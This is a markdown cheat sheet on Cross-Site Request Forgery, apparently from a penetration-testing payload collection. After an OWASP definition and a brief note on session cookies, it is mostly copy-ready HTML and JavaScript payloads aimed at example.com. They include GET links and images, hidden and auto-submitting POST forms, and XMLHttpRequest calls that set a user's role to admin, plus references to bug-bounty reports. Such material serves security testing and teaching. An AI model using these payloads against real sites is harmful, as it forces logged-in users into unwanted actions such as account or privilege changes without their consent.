# Cross-Site Request Forgery > Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP ## Summary * [Methodology](#methodology) * [Payloads](#payloads) * [HTML GET - Requiring User Interaction](#html-get---requiring-user-interaction) * [HTML GET - No User Interaction)](#html-get---no-user-interaction) * [HTML POST - Requiring User Interaction](#html-post---requiring-user-interaction) * [HTML POST - AutoSubmit - No User Interaction](#html-post---autosubmit---no-user-interaction) * [JSON GET - Simple Request](#json-get---simple-request) * [JSON POST - Simple Request](#json-post---simple-request) * [JSON POST - Complex Request](#json-post---complex-request) * [References](#references) ## Tools * [XSRFProbe - The Prime Cross Site Request Forgery Audit and Exploitation Toolkit.](https://github.com/0xInfection/XSRFProbe) ## Methodology  ## Payloads When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it. ### HTML GET - Requiring User Interaction ```html <a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a> ``` ### HTML GET - No User Interaction ```html <img src="http://www.example.com/api/setusername?username=CSRFd"> ``` ### HTML POST - Requiring User Interaction ```html <form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST"> <input name="username" type="hidden" value="CSRFd" /> <input type="submit" value="Submit Request" /> </form> ``` ### HTML POST - AutoSubmit - No User Interaction ```html <form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST"> <input name="username" type="hidden" value="CSRFd" /> <input type="submit" value="Submit Request" /> </form> <script> document.getElementById("autosubmit").submit(); </script> ``` ### JSON GET - Simple Request ```html <script> var xhr = new XMLHttpRequest(); xhr.open("GET", "http://www.example.com/api/currentuser"); xhr.send(); </script> ``` ### JSON POST - Simple Request ```html <script> var xhr = new XMLHttpRequest(); xhr.open("POST", "http://www.example.com/api/setrole"); //application/json is not allowed in a simple request. text/plain is the default xhr.setRequestHeader("Content-Type", "text/plain"); //You will probably want to also try one or both of these //xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); //xhr.setRequestHeader("Content-Type", "multipart/form-data"); xhr.send('{"role":admin}'); </script> ``` ### JSON POST - Complex Request ```html <script> var xhr = new XMLHttpRequest(); xhr.open("POST", "http://www.example.com/api/setrole"); xhr.withCredentials = true; xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8"); xhr.send('{"role":admin}'); </script> ``` ## References - [Cross-Site Request Forgery Cheat Sheet - Alex Lauerman - April 3rd, 2016](https://trustfoundry.net/cross-site-request-forgery-cheat-sheet/) - [Cross-Site Request Forgery (CSRF) - OWASP](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)) - [Messenger.com CSRF that show you the steps when you check for CSRF - Jack Whitton](https://whitton.io/articles/messenger-site-wide-csrf/) - [Paypal bug bounty: Updating the Paypal.me profile picture without consent (CSRF attack) - Florian Courtial](https://hethical.io/paypal-bug-bounty-updating-the-paypal-me-profile-picture-without-consent-csrf-attack/) - [Hacking PayPal Accounts with one click (Patched) - Yasser Ali](http://yasserali.com/hacking-paypal-accounts-with-one-click/) - [Add tweet to collection CSRF - vijay kumar](https://hackerone.com/reports/100820) - [Facebookmarketingdevelopers.com: Proxies, CSRF Quandry and API Fun - phwd](http://philippeharewood.com/facebookmarketingdevelopers-com-proxies-csrf-quandry-and-api-fun/) - [How i Hacked your Beats account ? Apple Bug Bounty - @aaditya_purani](https://aadityapurani.com/2016/07/20/how-i-hacked-your-beats-account-apple-bug-bounty/) - [FORM POST JSON: JSON CSRF on POST Heartbeats API - Dr.Jones](https://hackerone.com/reports/245346) - [Hacking Facebook accounts using CSRF in Oculus-Facebook integration](https://www.josipfranjkovic.com/blog/hacking-facebook-oculus-integration-csrf) - [Cross site request forgery (CSRF) - Sjoerd Langkemper - Jan 9, 2019](http://www.sjoerdlangkemper.nl/2019/01/09/csrf/) - [Cross-Site Request Forgery Attack - PwnFunction](https://www.youtube.com/watch?v=eWEgUcHPle0) - [Wiping Out CSRF - Joe Rozner - Oct 17, 2017](#https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f)